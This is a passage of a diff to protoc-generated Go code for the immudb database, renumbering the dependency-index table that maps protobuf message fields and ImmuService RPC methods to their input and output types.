immudb.schema.KeyRequest - 45, // 150: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 43, // 151: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 42, // 152: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 153: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 154: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 155: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 130, // 156: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 58, // 157: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 61, // 158: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 62, // 159: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 56, // 160: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 46, // 161: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 130, // 162: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 130, // 163: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 130, // 164: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 51, // 165: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 52, // 166: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 53, // 167: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 57, // 168: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 55, // 169: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 66, // 170: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 67, // 171: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 68, // 172: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 84, // 173: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 86, // 174: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 88, // 175: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 130, // 176: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 101, // 177: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 66, // 178: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 67, // 179: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 70, // 180: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 130, // 181: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 72, // 182: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 90, // 183: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 130, // 184: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 41, // 185: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 104, // 186: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 45, // 187: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 104, // 188: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 189: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 55, // 190: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 56, // 191: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 104, // 192: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 64, // 193: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 104, // 194: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 106, // 195: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 107, // 196: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 130, // 197: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 92, // 198: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 94, // 199: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 200: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 130, // 201: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 130, // 202: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 130, // 203: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 130, // 204: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 130, // 205: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 130, // 206: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 207: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 130, // 208: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 130, // 209: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 116, // 210: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 110, // 211: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 130, // 212: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 130, // 213: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 111, // 214: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 215: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 130, // 216: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 217: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 37, // 218: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 219: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 38, // 220: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 221: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 222: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 223: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 224: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 225: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 226: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 33, // 227: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 37, // 228: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 63, // 229: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 230: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 47, // 231: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 48, // 232: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 49, // 233: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 50, // 234: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 235: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 37, // 236: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 237: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 37, // 238: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 239: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 130, // 240: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 130, // 241: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 69, // 242: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 85, // 243: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 87, // 244: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 89, // 245: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 100, // 246: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 102, // 247: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 97, // 248: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 130, // 249: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 71, // 250: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 67, // 251: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 73, // 252: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 91, // 253: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 130, // 254: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 104, // 255: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 256: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 104, // 257: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 37, // 258: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 104, // 259: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 104, // 260: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 104, // 261: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 262: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 104, // 263: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 264: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 109, // 265: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 111, // 266: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 111, // 267: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 111, // 268: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 96, // 269: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 200, // [200:270] is the sub-list for method output_type - 130, // [130:200] is the sub-list for method input_type - 130, // [130:130] is the sub-list for extension type_name - 130, // [130:130] is the sub-list for extension extendee - 0, // [0:130] is the sub-list for field type_name + 40, // 18: immudb.schema.LinearAdvanceProof.inclusionProofs:type_name -> immudb.schema.InclusionProof + 29, // 19: immudb.schema.DualProof.sourceTxHeader:type_name -> immudb.schema.TxHeader + 29, // 20: immudb.schema.DualProof.targetTxHeader:type_name -> immudb.schema.TxHeader + 31, // 21: immudb.schema.DualProof.linearProof:type_name -> immudb.schema.LinearProof + 32, // 22: immudb.schema.DualProof.LinearAdvanceProof:type_name -> immudb.schema.LinearAdvanceProof + 29, // 23: immudb.schema.Tx.header:type_name -> immudb.schema.TxHeader + 35, // 24: immudb.schema.Tx.entries:type_name -> immudb.schema.TxEntry + 18, // 25: immudb.schema.Tx.kvEntries:type_name -> immudb.schema.Entry + 23, // 26: immudb.schema.Tx.zEntries:type_name -> immudb.schema.ZEntry + 36, // 27: immudb.schema.TxEntry.metadata:type_name -> immudb.schema.KVMetadata + 37, // 28: immudb.schema.KVMetadata.expiration:type_name -> immudb.schema.Expiration + 34, // 29: immudb.schema.VerifiableTx.tx:type_name -> immudb.schema.Tx + 33, // 30: immudb.schema.VerifiableTx.dualProof:type_name -> immudb.schema.DualProof + 28, // 31: immudb.schema.VerifiableTx.signature:type_name -> immudb.schema.Signature + 18, // 32: immudb.schema.VerifiableEntry.entry:type_name -> immudb.schema.Entry + 38, // 33: immudb.schema.VerifiableEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 34: immudb.schema.VerifiableEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 17, // 35: immudb.schema.SetRequest.KVs:type_name -> immudb.schema.KeyValue + 16, // 36: immudb.schema.SetRequest.preconditions:type_name -> immudb.schema.Precondition + 41, // 37: immudb.schema.VerifiableSetRequest.setRequest:type_name -> immudb.schema.SetRequest + 42, // 38: immudb.schema.VerifiableGetRequest.keyRequest:type_name -> immudb.schema.KeyRequest + 28, // 39: immudb.schema.ImmutableState.signature:type_name -> immudb.schema.Signature + 16, // 40: immudb.schema.ReferenceRequest.preconditions:type_name -> immudb.schema.Precondition + 52, // 41: immudb.schema.VerifiableReferenceRequest.referenceRequest:type_name -> immudb.schema.ReferenceRequest + 55, // 42: immudb.schema.ZScanRequest.minScore:type_name -> immudb.schema.Score + 55, // 43: immudb.schema.ZScanRequest.maxScore:type_name -> immudb.schema.Score + 54, // 44: immudb.schema.VerifiableZAddRequest.zAddRequest:type_name -> immudb.schema.ZAddRequest + 60, // 45: immudb.schema.TxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 61, // 46: immudb.schema.EntriesSpec.kvEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 61, // 47: immudb.schema.EntriesSpec.zEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 61, // 48: immudb.schema.EntriesSpec.sqlEntriesSpec:type_name -> immudb.schema.EntryTypeSpec + 0, // 49: immudb.schema.EntryTypeSpec.action:type_name -> immudb.schema.EntryTypeAction + 60, // 50: immudb.schema.VerifiableTxRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 60, // 51: immudb.schema.TxScanRequest.entriesSpec:type_name -> immudb.schema.EntriesSpec + 34, // 52: immudb.schema.TxList.txs:type_name -> immudb.schema.Tx + 66, // 53: immudb.schema.ExportTxRequest.replicaState:type_name -> immudb.schema.ReplicaState + 81, // 54: immudb.schema.CreateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings + 81, // 55: immudb.schema.CreateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 81, // 56: immudb.schema.UpdateDatabaseRequest.settings:type_name -> immudb.schema.DatabaseNullableSettings + 81, // 57: immudb.schema.UpdateDatabaseResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 81, // 58: immudb.schema.DatabaseSettingsResponse.settings:type_name -> immudb.schema.DatabaseNullableSettings + 82, // 59: immudb.schema.DatabaseNullableSettings.replicationSettings:type_name -> immudb.schema.ReplicationNullableSettings + 75, // 60: immudb.schema.DatabaseNullableSettings.fileSize:type_name -> immudb.schema.NullableUint32 + 75, // 61: immudb.schema.DatabaseNullableSettings.maxKeyLen:type_name -> immudb.schema.NullableUint32 + 75, // 62: immudb.schema.DatabaseNullableSettings.maxValueLen:type_name -> immudb.schema.NullableUint32 + 75, // 63: immudb.schema.DatabaseNullableSettings.maxTxEntries:type_name -> immudb.schema.NullableUint32 + 78, // 64: immudb.schema.DatabaseNullableSettings.excludeCommitTime:type_name -> immudb.schema.NullableBool + 75, // 65: immudb.schema.DatabaseNullableSettings.maxConcurrency:type_name -> immudb.schema.NullableUint32 + 75, // 66: immudb.schema.DatabaseNullableSettings.maxIOConcurrency:type_name -> immudb.schema.NullableUint32 + 75, // 67: immudb.schema.DatabaseNullableSettings.txLogCacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 68: immudb.schema.DatabaseNullableSettings.vLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 69: immudb.schema.DatabaseNullableSettings.txLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 70: immudb.schema.DatabaseNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 83, // 71: immudb.schema.DatabaseNullableSettings.indexSettings:type_name -> immudb.schema.IndexNullableSettings + 75, // 72: immudb.schema.DatabaseNullableSettings.writeTxHeaderVersion:type_name -> immudb.schema.NullableUint32 + 78, // 73: immudb.schema.DatabaseNullableSettings.autoload:type_name -> immudb.schema.NullableBool + 75, // 74: immudb.schema.DatabaseNullableSettings.readTxPoolSize:type_name -> immudb.schema.NullableUint32 + 80, // 75: immudb.schema.DatabaseNullableSettings.syncFrequency:type_name -> immudb.schema.NullableMilliseconds + 75, // 76: immudb.schema.DatabaseNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 84, // 77: immudb.schema.DatabaseNullableSettings.ahtSettings:type_name -> immudb.schema.AHTNullableSettings + 78, // 78: immudb.schema.ReplicationNullableSettings.replica:type_name -> immudb.schema.NullableBool + 79, // 79: immudb.schema.ReplicationNullableSettings.primaryDatabase:type_name -> immudb.schema.NullableString + 79, // 80: immudb.schema.ReplicationNullableSettings.primaryHost:type_name -> immudb.schema.NullableString + 75, // 81: immudb.schema.ReplicationNullableSettings.primaryPort:type_name -> immudb.schema.NullableUint32 + 79, // 82: immudb.schema.ReplicationNullableSettings.primaryUsername:type_name -> immudb.schema.NullableString + 79, // 83: immudb.schema.ReplicationNullableSettings.primaryPassword:type_name -> immudb.schema.NullableString + 78, // 84: immudb.schema.ReplicationNullableSettings.syncReplication:type_name -> immudb.schema.NullableBool + 75, // 85: immudb.schema.ReplicationNullableSettings.syncAcks:type_name -> immudb.schema.NullableUint32 + 75, // 86: immudb.schema.ReplicationNullableSettings.prefetchTxBufferSize:type_name -> immudb.schema.NullableUint32 + 75, // 87: immudb.schema.ReplicationNullableSettings.replicationCommitConcurrency:type_name -> immudb.schema.NullableUint32 + 78, // 88: immudb.schema.ReplicationNullableSettings.AllowTxDiscarding:type_name -> immudb.schema.NullableBool + 75, // 89: immudb.schema.IndexNullableSettings.flushThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 90: immudb.schema.IndexNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 91: immudb.schema.IndexNullableSettings.cacheSize:type_name -> immudb.schema.NullableUint32 + 75, // 92: immudb.schema.IndexNullableSettings.maxNodeSize:type_name -> immudb.schema.NullableUint32 + 75, // 93: immudb.schema.IndexNullableSettings.maxActiveSnapshots:type_name -> immudb.schema.NullableUint32 + 76, // 94: immudb.schema.IndexNullableSettings.renewSnapRootAfter:type_name -> immudb.schema.NullableUint64 + 75, // 95: immudb.schema.IndexNullableSettings.compactionThld:type_name -> immudb.schema.NullableUint32 + 75, // 96: immudb.schema.IndexNullableSettings.delayDuringCompaction:type_name -> immudb.schema.NullableUint32 + 75, // 97: immudb.schema.IndexNullableSettings.nodesLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 98: immudb.schema.IndexNullableSettings.historyLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 99: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 + 75, // 100: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 + 77, // 101: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat + 75, // 102: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 + 75, // 103: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 + 115, // 104: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue + 94, // 105: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest + 36, // 106: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata + 96, // 107: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry + 38, // 108: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx + 40, // 109: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof + 124, // 110: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry + 125, // 111: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry + 126, // 112: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry + 127, // 113: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry + 1, // 114: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 67, // 115: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 104, // 116: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings + 81, // 117: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings + 109, // 118: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 109, // 119: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 115, // 120: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 111, // 121: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 122: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 128, // 123: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 129, // 124: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 113, // 125: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 114, // 126: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 115, // 127: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 130, // 128: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 129: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 115, // 130: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 131: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 131, // 132: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 133: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 134: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 135: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 136: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 137: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 138: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 139: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 131, // 140: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 131, // 141: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 142: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 131, // 143: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 131, // 144: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 145: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 146: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 147: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 131, // 148: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 149: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 150: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 151: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 152: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 153: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 154: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 155: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 156: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 157: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 131, // 158: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 159: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 160: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 161: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 162: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 163: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 131, // 164: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 131, // 165: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 131, // 166: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 167: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 168: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 169: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 170: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 171: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 172: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 173: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 174: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 175: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 176: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 177: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 131, // 178: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 179: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 180: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 181: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 182: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 131, // 183: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 184: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 185: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 131, // 186: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 187: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 188: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 189: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 190: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 191: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 192: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 193: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 194: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 195: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 196: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 197: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 198: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 131, // 199: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 200: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 201: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 6, // 202: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 131, // 203: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 131, // 204: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 131, // 205: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 131, // 206: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 131, // 207: 